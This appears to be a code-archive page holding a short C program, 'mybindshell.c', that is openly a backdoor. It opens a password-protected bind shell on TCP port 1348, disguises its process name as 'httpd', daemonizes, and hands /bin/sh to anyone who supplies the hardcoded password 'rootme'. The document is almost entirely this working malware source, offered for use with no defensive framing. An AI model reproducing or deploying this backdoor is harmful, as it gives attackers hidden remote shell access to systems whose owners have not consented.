./c0de/c/mybind.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
/* mybindshell.c coded by kafar
* bindshell with password.
* enjoy !
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
 
#define PORT 1348
#define hide "httpd"
#define shell "/bin/sh"
 
char passwd[] = "rootme";
char motd[] = "-- code by klogctl [www.olek.org]\n";
struct sockaddr_in adr;
int in, out, away;
 
void go_shell() {
char buffer[150];
 
write(out, "passwd ", 7);
read(out, buffer, sizeof(buffer));
if (!strncmp(buffer, passwd, strlen(passwd)))  {
    write(out, motd, sizeof(motd));
    chdir("/");
    dup2(out, 0); dup2(out, 1); dup2(out, 2);
    system("uname -a");
    execl(shell, shell, (char *)0);
    close(out);
    exit(0); }
else {
    write(out, "leave!\n", 7);
    close(out); exit(0); }
 
close(out);
exit(0);
}
 
main(int argc, char **argv) {
memset(&adr, 0, sizeof(adr));
 
adr.sin_family=AF_INET;
adr.sin_port=htons(PORT);
adr.sin_addr.s_addr=INADDR_ANY;
 
strncpy(argv[0], hide, strlen(argv[0]));
 
in=socket(AF_INET, SOCK_STREAM, 0);
bind(in, (struct sockaddr *)&adr, sizeof(adr));
listen(in, 3);
 
away = sizeof(adr);
if (fork() != 0) {
    exit(0); }
 
while (1) {
out=accept(in, (struct sockaddr *)&adr, &away);
 
if (fork() != 0) {
    close(in);
    go_shell(); }
 
close(out); }
return 1;
}
 

Back